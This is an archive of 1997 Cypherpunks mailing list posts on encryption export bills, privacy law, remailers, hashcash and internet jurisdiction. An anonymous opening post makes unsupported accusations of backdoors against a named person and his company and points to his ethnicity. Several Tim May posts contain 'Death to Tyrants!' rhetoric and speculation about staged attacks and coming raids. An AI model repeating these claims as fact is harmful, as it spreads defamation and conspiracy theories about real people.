For those who still don't know what Tim May means, the barratrous
threats came from the crypto snake oil peddler C2Net and its Arab
owner Sameer Parekh.

Sameer's "product", StrongHold, is a hacked version of the free Web
server Apache, and has more backdoors and security holes than
Swiss cheese.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Wed, 10 Sep 1997 22:47:53 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <o56aJJonOs7lC59wfzdVlQ==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:
> Let's look at an admittedly contrived example but I believe it will suffice.
> There are two fires at opposite ends of the coverage area for a fire house.
> On Saturday they receive a call to go to one end, where the wealthy live.
> Would you have the owner pay prior to the firemen putting the fire out?
> Would they pay some premium beforehand? Now on Sunday a fire occurs on the
> other end where the poor are. Assuming they can't pay the bill would the
> firemen drive away? If so, wouldn't this in fact pose a threat not only to
> the other poor but also the wealthy since the fire might spread if it got
> large enough. Would the wealthy then be asked to pay for that run of the
> fire truck? What if they refused, how would the firemen pay for the food to
> feed their family? Perhaps go out and burn down more rich houses...

Contrived? Did you read the post from News of the Weird about the
funeral home owners in Bankok(?) who were paying hospital employees
to murder patients who were known to them and likely to use their
services when they died? (Subject: Oxygen Escrow?)
Sadly, no matter what sicko, bizarre scenario you wish to 'contrive'
in order to illustrate a point, if your point is valid, then it is
likely that you can find a real-life example that runs parallel to it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 11 Sep 1997 02:02:21 +0800
To: cypherpunks@Algebra.COM
Subject: "Secure in one's papers" is becoming meaningless
In-Reply-To: <199709101603.KAA23312@infowest.com>
Message-ID: <v03102800b03c8113e50c@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:37 AM -0700 9/10/97, Attila T. Hun wrote:

>    NYT lead article today indicates Clinton bowing to LEOs to:
>
>        ...gain broad access to patients' medical records, with hardly
>        any restrictions on use or redisclosure of the data.
>
>        "We recommend that providers and payers be permitted to rely on
>        the statement of law-enforcement officials that an inquiry meets
>        these standards," the administration says....

Just routine developments in the latter stages of the American Imperial New
World Order. Government can tie in to the networks of medical data as an
aid to tracking citizen-units, as a means of ferreting out pseudonyms, and
as a means of gathering dossier data. J. Edgar Hoover would have loved it.

They won't need "don't ask, don't tell" when they have the complete medical
records of us all. And they'll have the background they need to pressure
recalcitrant senators who don't support their programs. And so on.

(And the citizen-units will be powerles to protest...hospitals are forced
to participate in various statist programs, and are essentially powerless
to turn away patients with HMO and insurance programs, thus pulling all
hospitals into The Program. And in the War on Drugs Age, any doctor who
takes only cash is almost certain to have his license yanked by the
government-approved and -mandated Official Guild.)

>        The administration proposal would not require law-enforcement
>        agencies to get court orders or to notify patients when they
>        seek medical records. Patients would not be assured of an
>        opportunity to challenge the disclosure of their files, though
>        the records could later be used against them in investigations
>        or prosecutions.
>
>    fourth amendment mean _anything_ to these petty dictators? has the
>    US become just another bananna republic at the interest of the
>    power brokers?  are we stretching the idea of a republic a bit
>    thin?

The Fourth is being shredded every day in every way. Probably the
justification here is that the records are not in the possession of the
target. (Recall the usual discussions that if Alice knows something about
Bob, and Big Brother wants it, Alice cannot assert a Fourth Amendment
protection on behalf of the information about Bob. Same applies, and will
eventually apply, to forcing all merchants to maintain databases of who
buys what, and then transferring those records nightly, or hourly to the
Feds' computers. The Fourth will not be usable.)

This is a very important issue. The "secure in one's papers and
possessions" language of the 4th is practically meaningless in today's
world: most of one's important papers and records are not stored locally in
one's home.

Rather, hospital records, phone records, credit records, travel
arrangements, gun purchase records, and so on, are stored with various
hospitals, phone companies, merchants, credit reporting entities, airlines,
car rental companies, hotels, landlords, mortgage companies, etc. They
cannot argue the Fourth on one's behalf (nor do they care to, usually).

Can a contract help? If I contract with Hertz Car Rental that my True Name
not be given out, will this help? It may help in stopping Hertz from
selling my name to mailing list sellers, or from having them notify the
local newspaper that I will be in town (were I to be famous), but it won't
stop a subpoena.

The trend is moving swiftly toward having these service providers provide
data automatically, routinely, as with the airlines linking their
reservations system to various government data bases, even absent a
specific crime or terrorist event.

Expect within 10 years to see hotel and other such services required to
have proof of True Names, and with such records linked to government
computers on a nightly (or even realtime) basis.

The main protection for this is _cash_. But an increasing number of places
will not take cash. (Let's not get off on a tangent about what "legal
tender" is; if Alice says she will only take credit cards or checks, then
Bob is bound by this.)

>        "Our recommendations accommodate the interests of law
>        enforcement rather well," said an administration official who
>        helped draft the proposal. "The Justice Department got almost
>        everything it wanted."
>
>    THIS is what is wrong with the US! the courts have become
>    adversarial playgrounds for the prosecutors for the benefit of the
>    "state"  the old rule used to be if you were _charged_ by the Feds,
>    start plea bargaining --if you go to court, the sentence will
>    triple. just "fuck" the concept of innocent until proven guilty, or
>    'hey, man, you were arrested, weren't you?'

Yes, this is what "plea bargaining" is used for. Sentencing guidelines have
been puffed out, and those entering the legal system are strongly
incentivized to cop a plea.

(One need only look to the case of Jim Bell. Recall that he took a plea,
but his sentencing was held off for 5 or 6 months, instead of being given
right on the spot, as it should have been, to enable him to sing like a
canary. I know some folks who may have grounds for worry that indictments
are being prepared against them.)

>    TIME FOR THE INTERMOUNTAIN EMPIRE TO SECEDE FROM THE
>    UNCONSTITUTIONAL GOVERNMENT IN WASHINGTON.
>

Yep, the so-called militia movement, or patriot group, is gaining a big
bounce out of this.

(It's not for me, though. The Militia of Monterey is big into saying the
Pledge of Allegiance, and that sticks in my craw. )

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Thu, 11 Sep 1997 01:16:48 +0800
To: ravage@ssz.com>
Subject: Re: Removing Tyranny from Democracy (Part II), (fwd)
In-Reply-To: <199709101225.HAA10299@einstein.ssz.com>
Message-ID: <Chameleon.873902289.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain





 From: Jim Choate <ravage@ssz.com>
> > >
> > >Please be so kind as to detail your top three flaws...
> > 
> > 1. In a democracy, 51% of the people can vote to enslave the other 49%
> 
> Not in this democracy they don't. In every democracy currently extant
> there is a bill of rights. The government may not respect it, but that
> is a flaw of implimentation not theory.

You miss the point entirely. This is =not= supposed to be a democracy. That 
is why we have a constitution (theoretically a set of restrictions upon the 
powers of government), and bill of rights. 

> 
> > 2. In a democracy, you can't have property rights because 51% can 
> > capriciously decide to confiscate anyone's property.
> 
> See above.
> 
> > 3. A pure democracy is true mob rule - a mob has no concience,
> > or bounds to 
> > it's tyranny. Look into the history of ancient Athens.
> 
> Since there are no true democracies extant your point is moot.
 
There have been, that is why the point is not moot. The point is, we are 
becoming one, with the advent of instant polling and politicians and 
citizens who obviously can't read as simple a document as the constitution.


------------------------
Name: amp
E-mail: amp@pobox.com
Date: 09/10/97
Time: 10:32:29
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 11 Sep 1997 04:37:02 +0800
To: "James S. Tyre" <tcmay@got.net>
Subject: Re: Government shows its hand...good news!
In-Reply-To: <Pine.GSO.3.95.970909194656.9741B-100000@well.com>
Message-ID: <v03102801b03c8d63950f@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:53 PM -0700 9/9/97, James S. Tyre wrote:
>Tim May is correct (as is Declan's clarification of his earlier note).
>If the amendment does become law, however, do not expect two things:
>
>1.  Do not expect that it will be fast-tracked to the Supreme Court, as
>was the case with CDA.  Instead, expect that it will start with the
>District Court, take years to get to and through the Court of Appeals,
>and then, if the U.S. Supreme Court decides to hear the matter at all
>(it would have no obligation to do so), much more time there.

Do, however, expect injunctive relief prior to any definitive ruling.

>
>2.  Do not expect that a case will involve a broad coalition of
>plaintiffs, as was the case with the CDA.  Expect that the courts will
>only entertain an action by a plaintiff with traditional standing:  one
>who goes through all of the bureaucratic hoops trying to get a license,
>and then is turned down.

Do expect one or more crypto-libertatians to publicize the shipment of
software in violation of the new rules in order to force a judicial
show-down.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marshall Clow <mclow@owl.csusm.edu>
Date: Thu, 11 Sep 1997 02:19:00 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: House National Security committee guts SAFE, worse than nobill
In-Reply-To: <Pine.3.89.9709092238.A11760-0100000@well.com>
Message-ID: <v04001303b03c8fd64645@[207.67.207.179]>
MIME-Version: 1.0
Content-Type: text/plain



>On Tue, 9 Sep 1997, Brock N. Meeks wrote:
>
>> Gore didn't say shit.  Sorry but there is no polite way to say this.
>> Gore's remarks at the SPA speech were a great example of "state speak"
>> which the State Dept. has perfected, saying much and in "code" through
>> the use of phrasing and even tone.
>
>
>Let's look at what Gore did say:
>
>>    WASHINGTON, Sept 9 (Reuter) - With the FBI floating a proposal to
>>regulate the domestic use of computer encoding technology, Vice President
>>Al Gore asserted Tuesday the administration had not changed its policy
>that
>> allows free use within the United States.
>>   "The administration's decision has not changed on encryption, but this
>>is an area where we need to find ways to work together to balance the
>>legitimate needs of law enforcement with the needs of the marketplace,"
>>Gore told a meeting of the Software Publishers Association in Washington.
>
>I agree it's word games, but that's hardly a surprise. Especially since
>Gore's denial seems a bit too narrow. What about the administration's
>policy on free //distribution// of encryption? That's what Louis Freeh
>wants to ban, as an initial move.
>
Declan --

No offence to you as a reporter, but I wouldn't trust Reuter's paraphrasing
of what he said as far as I can throw my monitor.

They paraphrase and then call it a quote.

Does anyone have a transcript of what he actually said?
The whole speech?

It's not on the whitehouse site, nor CNN, nor the SPA site.

-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

"In Washington DC, officials from the White House, federal agencies and
Congress say regulations may be necessary to promote a free-market
system." --  CommunicationsWeek International April 21, 1997






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: EFF <eff@dev.null>gomez@BASISinc.com (Mike Denney)
Date: Thu, 11 Sep 1997 07:30:53 +0800
To: cypherpunks@toad.com
Subject: [Fwd: Fwd: Engineers]Fwd: Engineers
Message-ID: <3416EF4E.21C8@dev.null>
MIME-Version: 1.0
Content-Type: message/rfc822




----- Begin Included Message -----

*** Original Author: "KEN CARLSON" <kbc@ingersoll.com> 07/16/97 13:37

There are three engineers in a car; an electrical engineer, a chemical
engineer, and a Microsoft engineer.  Suddenly the car just stops by
the side of the road, and the three engineers look at each other,
wondering what could be wrong.

The electrical engineer suggests stripping down the electronics of
the car and trying to trace where a fault might have occurred.

The chemical engineer, not knowing much about cars, suggests that
maybe the fuel is becoming emulsified and getting blocked somewhere.

Then the Microsoft engineer, not knowing much about anything, comes
up with a suggestion.

Why don't we close all the windows, get out, get back in, open the
windows again, and maybe it'll work.

----------------- End Forwarded Message -----------------

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Systems Guides                                      bstaud@sysgu.com 
Bill Staudenheimer                                 Vox: 415-917-8170
PO Box 4130                                        Fax: 415-917-8172
Mountain View, CA 94040-0130                    http://www.sysgu.com



----- End Included Message -----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Thu, 11 Sep 1997 03:33:03 +0800
To: Alex de Joode <ant@notatla.demon.co.uk (Antonomasia)
Subject: Re: Renaming TEA remailer
In-Reply-To: <199709092302.AAA05230@notatla.demon.co.uk>
Message-ID: <v03102802b03c9cccb07e@[206.170.114.18]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:49 PM +0200 9/10/97, Alex de Joode wrote:
>:
>:
>: I am advised by Mark Hedges that Anonymizer, Inc. owns the trademark
>: for the product name "Anonymizer" and at his request I have changed
>: name of the tea remailer to 'Tea Remailer'.
>:
>: I believe I have made changes everywhere the name appears.
>:
>
>Do they own the trademark in the UK ? If not you can still use
>Anonymizer for whatever service you are providing in the UK.
>
>--
>EOF

But they had better not offer the servce over here. In any case, it is a
trade mark whether registered or not.

	-Lance

----------------------------------------------------------
Lance Cottrell   loki@infonex.com
PGP 2.6 key available by finger or server.
http://www.infonex.com/~loki/

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Janzen <janzen@idacom.hp.com>
Date: Thu, 11 Sep 1997 03:07:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Nuclear Hedge Funds
In-Reply-To: <Pine.GSO.3.95.970910005452.11331A-100000@cp.pathfinder.com>
Message-ID: <9709101856.AA06081@sabel.idacom.hp.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 9 Sep 1997, Tim May wrote:
> > The Pentagon might lose a
> > bite out of it, and thus look like some kind of mil-spec Apple logo.)

Having just finished reading the "Illuminatus!" trilogy, I _really_ hope
that this doesn't happen...   :-)

MJ





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Hedges <hedges@rigel.cyberpass.net>
Date: Thu, 11 Sep 1997 03:26:56 +0800
To: cypherpunks@toad.com
Subject: New Forbes Article
Message-ID: <199709101910.MAA05051@rigel.cyberpass.net>
MIME-Version: 1.0
Content-Type: text/plain





Patrick Mullen wrote:
>There is a really good article in the new Forbes.  Many 
>familiar names are mentioned...
>
>http://www.forbes.com/forbes/97/0908/6005172a.htm

It's a great article, but they said that Sameer authored and runs
the Anonymizer. He ran it for a while, but Justin Boyan wrote the
thing, and now we operate the server.

Mark Hedges
Anonymizer Inc.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 11 Sep 1997 01:04:51 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Removing Tyranny from Democracy (Part II), (fwd)
In-Reply-To: <199709100241.VAA07451@einstein.ssz.com>
Message-ID: <Pine.SUN.3.96.970910121938.24409D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 9 Sep 1997, Jim Choate wrote:

> Let's look at an admittedly contrived example but I believe it will suffice.
> There are two fires at opposite ends of the coverage area for a fire house.
> On Saturday they receive a call to go to one end, where the wealthy live.
> Would you have the owner pay prior to the firemen putting the fire out?
> Would they pay some premium beforehand? Now on Sunday a fire occurs on the
> other end where the poor are. Assuming they can't pay the bill would the
> firemen drive away? If so, wouldn't this in fact pose a threat not only to
> the other poor but also the wealthy since the fire might spread if it got
> large enough. Would the wealthy then be asked to pay for that run of the
> fire truck? What if they refused, how would the firemen pay for the food to
> feed their family? Perhaps go out and burn down more rich houses...

Incorrect, Citizen Unit Choate.  Firemen do not put out fires, where did
you come up with such a notion?  All houses are fireproof.  Firemen burn
books. Books are evil.  Have you any books Citizen Unit Choate?  Perhaps
hiding in your toaster, or oven, or a cored out television set?  Perhaps
books on crypto?  Bend over to the state, Citizen Unit Choate - of course
we will remove the appropriate fines from your savings, the Firemen have
to be paid, of course, and the victims of your evil books have to be
compensated.  The poor congressmen and TLA agents..

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: owl@owlsnest.com
Date: Thu, 11 Sep 1997 01:19:35 +0800
To: cypherpunks@cyberpass.net
Subject: Is Your Web Site A Secret?
Message-ID: <199709101639.MAA04736@owlsnest.com>
MIME-Version: 1.0
Content-Type: text/plain



     Is your web site the best kept secret on the Internet?

     We'll promote it to 50 search engines and indexes for $85
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When we have completed the promotion, we will send you an HTML
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   Brewster, NY 10509
   Phone: (914) 278-4933
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HOW DO I ORDER?

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Terms:  By returning this document via Email, you agree as follows:
You have the authority to purchase this service on behalf of your
company.    Terms are net 15 days.  Accounts sent to collections will
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===Web Promotions=====Press Releases=====Link Exchanges=========
                 Owl's Eye Productions, Inc.
                   260 E. Main Street
                   Brewster, NY 10509
Ph: 914-278-4933  Fx: 914-278-4507  E-mail: owlseye@owlsnest.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Panikovsky <paniko19@idt.net>
Date: Thu, 11 Sep 1997 02:10:23 +0800
To: Igor Chudov <ichudov@Algebra.COM>
Subject: Re: Gao's Chaos Cryptosystem Algorithm
In-Reply-To: <199709090543.AAA10682@manifold.algebra.com>
Message-ID: <3416EAB9.7A1CC701@mail.idt.net>
MIME-Version: 1.0
Content-Type: text/plain



having joined this lively discusion group
only recently, panikovsky feels he must make
up for the lost time in a hurry, even though
all of the issues (read: none) might not be
familiar to him.  However, never being the one
to be impeded by the facts, he boldly forges on.
And on. and on.

Igor Chudov @ home wrote:

> Nobuki Nakatuji wrote:
> >
> > >
> > >I will just repeat Prof. Choate's question, how do you generate Ch.
>
> > >
> > >
> > Ch generate
> >
> > begin
> > Xn+1=aXn(1.0-Xn)
> > return Xn+1
> > end
>
> What does aXn(1.0-Xn) mean? That's what I do not understand.
>

that's easy: aXn speaks louder than words.Sore wa Nihongo de nanto
iimasu ka?

> > Do you understand Japanese ?
>
> Nihongo ga dekimasen, wasuremashita:) 1991-ni benkyo simashita.
> Rosia-no
> hito deshita, Amerika-de ikimashita.

Ah, Chudo-san, watashi ga miru.  America ga chobaka deska.  LOL-ga

>
>
> Panikovsky-san nihongo-ga totemo dekimasu.
>

Pain in kovsky-san nihongo wakalimassen.
Paniskovsky-san geri wo shite imasu.

> Yokunai hito ja
> Nai noni do shite
> Wasureta nijimu
> Una sera de Tokyo, a-a
>
> ... that's a neat song I remember.
>

the last line seems vaguely spanish or italian, imho.

> > If you understand Japanese,
> > I will send theis of Gao's Chaos Cryptosystem to you.
>
> I like C more.

i c nothing

>
>
>         - Igor.

panikovsky had learned the hard way that the most usefulphrase in
"survival japanese" is "utenaide".  [don't shoot]



-- PMS (by any other name would still smell as sweet)
http://www.geocities.com/Athens/6615/dating.html - your
comprehensive guide on dating and buying Russian women







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 11 Sep 1997 07:00:14 +0800
To: remailer@bureau42.ml.org
Subject: Re: Prayer to A.M. Turing
In-Reply-To: <3gDm3/KXXobGiEuuujWoNQ==@bureau42.ml.org>
Message-ID: <199709101148.MAA02175@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Alan Turing writes:
> Adam Back wrote:
> >Your email to Lord Turing may bounce, your hashcash postage doesn't
> >collide:
> >
> >% ashcash AlanMathisonTuring 10110AlanMathisonTuring8ef2b1912670b51
> >collision: 0 bits
> >%
> 
> Add an "f".

Impressed:

% hashcash AlanMathisonTuring 10110AlanMathisonTuring8ef2b1912670b51f
collision: 33 bits
%

That collision would take 30 hours to generate on my pentium.

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Thu, 11 Sep 1997 01:18:21 +0800
To: cypherpunks@Algebra.COM
Subject: DH in IE and NT
Message-ID: <199709101657.MAA02429@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain




-----BEGIN PGP SIGNED MESSAGE-----

Microsoft will use Diffie-Hellman in Internet Explorer 4.0 and Windows 
NT. See:

http://www.cylink.com/html/microsoft.html



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNBbQejltEBIEF0MBAQFqowf+MnienInvTNqib8YfVxKXLQMpw17yymA2
YRlXalaClmwMnE2LzMwBKqwC9wFm+FPNWIAz8q5O36+k9IEDepCVazZpyar64/En
HhUZ+7F8ZGnuxvNScDBhexxUFkSAU/fuPRcqETZIMwE1kHIBGkVO/28KBF+MJ8Aj
engwErZi6lFHMqiS8378/iyJ01wxRmMqI2sMTeF7Ub8kWMh7bEq24y9xF8mRVwsg
DAguXZsagGapgB/pIqT/L4xP2uBIxYCKrqCJw6KtB9tsffraw9NHBzvkaZn1d7bo
c2V7GF4adk6BE4oFmdjRa03o6j0nr8sKpHPlHlxo1hmslZ8fjPxTWQ==
=LXf8
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 11 Sep 1997 04:30:24 +0800
To: cypherpunks@Algebra.COM
Subject: I told you so
Message-ID: <v03102801b03cb0aedba3@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




To my non-surprise, even the House is getting in on the "ban crypto"
bandwagon.

This just in (excerpted, to limit copyright infringement...read the full
article in your Yahoo or the like service)

Wednesday September 10 2:52 PM EDT

House Panel Votes To Tighten Encryption Controls

By Aaron Pressman

WASHINGTON - The House National Security Committee has approved a proposal
to tighten already strict U.S. export controls
on computer encoding technology, dealing a surprise setback to legislation
that would have relaxed the limits.

In a 45 to 1 vote, the committee adopted an amendment from Rep. Curt Weldon
(R-Pa.) and Rep. Ron Dellums (D-Calif.) that
would condition all exports of coding technology on the potential for harm
to national security.

Software companies, civil libertarians and Internet user groups were
stunned by the amendment, which they said gutted the bill
under consideration.

Coding technology, or encryption, uses mathematical formulas to scramble
information such as electronic mail or a credit card
number sent over the Internet to prevent hackers from stealing the
information.

Encryption has become an increasingly critical means of securing online
commerce and global communications.

Under current policy, U.S. companies can only export encryption products
offering a weak degree of protection, unless the
products also allow the government to decode covertly any coded message.

The Weldon-Dellums amendment requires the president to set "the maximum
level of encryption strength that could be exported
from the United States ... without harm to the national security of the
United States."

Products at or below the established level could be exported after a
one-time review specified by the secretary of commerce with
the concurrence of the secretary of defense.

The president would be required to review the established level annually to
determine if it should be changed without harming
national security.

Representatives of software companies were aghast after the vote. "This is
a disaster," said Rebecca Gould, vice president for
public policy at the Business Software Alliance.

"This was a bold step backward," said Alan Davidson, staff counsel at the
Center for Democracy and Technology, a cyberspace
civil liberties group. "It is worse than the status quo.....

[rest elided]

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Thu, 11 Sep 1997 04:38:49 +0800
To: cypherpunks@cyberpass.net
Subject: Minnesota wins ruling.. in LV website lawsuit
Message-ID: <v03102802b03cb1a419a0@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



Minnesota wins ruling in LV gaming website lawsuit

Assoc Press

ST. PAUL, Minn.-Minnesota has the right to regulate Internet activity, the
state Court of Appeals ruled in a widely watched l case involving a L as
Vegas company's gambling site on the World Wide Web.

The site's operator said Monday he would appeal.

"For Minnesota to have jurisdiction over a site that has never taken a bet,
that requires someone from Minnesota to go look at it, is ludicrous," said
Kerry Rogers, president of Las Vegas-based Granite Gate Resorts Inc.

The case stems from a push by ~Attorney General Hubert HumPhrey IlI to
block Rogers' gambring operation from soliciting business~ from Minnesota
residents on the Internet.

The court's opinion, filed Friday, said Granite Gate demonstrated a clear
intent to solicit business with Minnesota residents, including one
successful solicitation.

Rogers claimed a lack of jurisdiction because he had not mailed anything or
advertised in Minnesota. "We've never taken a single bet in the history of
the deal," Rogers said. "It was an idea. I'm being sued for an idea."

The decision upholds a district judge's refusal to dismiss the case filed
in 1995. The attorney general's office accused Rogers of false advertising,
deceptive trade practices and consumer fraud.

Now, Humphrey said he would seek a court order to stop the advertising and
seek civil penalties of at least $25,000.

Eugene Volokh, a UCLA law professor who specializes in constitutional,
copyright and computer technology cases, said the decision is "a barrier to
interstate commerce." "This is a very significant case because when you put
up a web site in Nevada, you are essentially doing business in every one of
the 50 states."

He said the debate is over how to characterize the business: Does the
transaction occur in the state of the site's origin, the state where the
user is, or in cyberspace?

--end

PGP mail preferred, see  	http://www.pgp.com and
				http://web.mit.edu/network/pgp.html
RSA PGP Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear (N7ZEZ)     | Internet: azur@netcom.com
7075 West Gowan Road     | Voice: 1-702-658-2654
Suite 2148               | Fax: 1-702-658-2673
Las Vegas, NV 89129      | economic and crypto dissident
---------------------------------------------------------------------

	The push by western governments for financial transparency and
	banning unrestricted use of cryptography is blatent politicial
	tyranny.

	Free Cypherpunk Political Prisoner Jim Bell






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 11 Sep 1997 07:06:06 +0800
To: declan@well.com
Subject: Re: House National Security committee guts SAFE, worse than no bill
In-Reply-To: <Pine.GSO.3.95.970909204903.1768B-100000@well.com>
Message-ID: <199709101229.NAA02196@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Declan McCullagh <declan@well.com> writes:
> 
> I was talking to someone after a law class this evening (we're covering
> electronic privacy topics, but unfortunately we're not at crypto yet). He
> suggested widespread civil disobedience. 

Might I suggest using RSA in perl:

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`

which is now officially non-exportable (as reported by Peter Junger;
he asked for serveral code examples and this one was one of the
non-exportable ones).  Short enough to make them look silly, short
enough that most people don't have qualms about quoting, or using as a
.sig.  And they've committed themselves in writing to Peter Junger
that you're not allowed to export it.

> Perhaps it's time to dare the Feds to prosecute you. Any volunteers?

Naturally I'm no use ... but y'all could have some fun.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 11 Sep 1997 04:54:01 +0800
To: cypherpunks@Algebra.COM
Subject: Reichstag Fire and the October Raids
In-Reply-To: <199709101854.UAA24224@basement.replay.com>
Message-ID: <v03102802b03cb1d62108@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




So, the House is moving toward drastically tightening non-escrowed crypto
use, via the export laws and the invocation of "national security
considerations." And the Senate is moving toward a complete ban on
non-escrowed crypto. The civil rights groups are now cut completely out of
the picture. The only issue now is whether the full ban on crypto makes it
into the compromise deal. (I'm bettting it won't, as this would be too bold
even for Congress. On First and Fourth Amendment grounds, if nothing else.)

But Something Big is coming down.  Even if domestic strong crypto is not
fully banned, expect a series of moves to make it very unpalatable for most
upstanding citizen units to use. And corporations will be "disincentivized"
to use crypto, except that approved by Washington.

(I wonder what will happen to PGP, Inc. and RSADSI? And to MS and NS?
Probably, cynics will suggest, they are already ramping up their "trusted
third party" and "key recovery" efforts. If so, I hope Phil Z. adheres to
the promise he made publically at a Cypherpunks meeting, and quits PGP,
Inc.)

At 11:54 AM -0700 9/10/97, Anonymous wrote:

>  Any bets that the double-secret guys nab a suitcase-nuke carrying
>dark-skinned person a few days before they need to win a crucial vote
>in the war against the citizens?
>

Yep, they need a Reichstag fire. To nudge any recalcitrant Congresscritters.

I'm not (yet) paranoid enough to think the spooks would pull off another
OKC or World Trade Center bombing. But arranging some convenient arrests
would be par for the course.

The Congress hopes to conclude business before the end of November, I've
heard. The full Senate and House will likely vote on the final version of
the "Children's Safety Act," the one which will throttle crypto exports
still further, will criminalize crypto use to the point that few
corporations will dare use it (this is the real strategy), and will move
toward a complete ban on domestic unescrowed crypto.

They'll need some dire threat or significant event to get the vote they want.

I'm thinking it may involve us. The 5-6 months they've had to "debrief"
Bell, to convince him that squealing on anarchists and information
terrorists, and money laundering advovactes, and felons, could mean a
series of indictments will come in October/November.

Whether their charges will "stick" or not is not really the point, is it?
The trial, if one is ever held, will take place many months or even years
after the charges are filed.

Personally, I say everyone who has been active in discussing how to
destabilize and overthrow the fascist governments in Washington, Paris,
Bonn, London, and so on should prepare. In the U.S., prepare for a series
of pre-dawn raids.  In the European People's Republics, I'm not sure what
defensive measures are even possible.

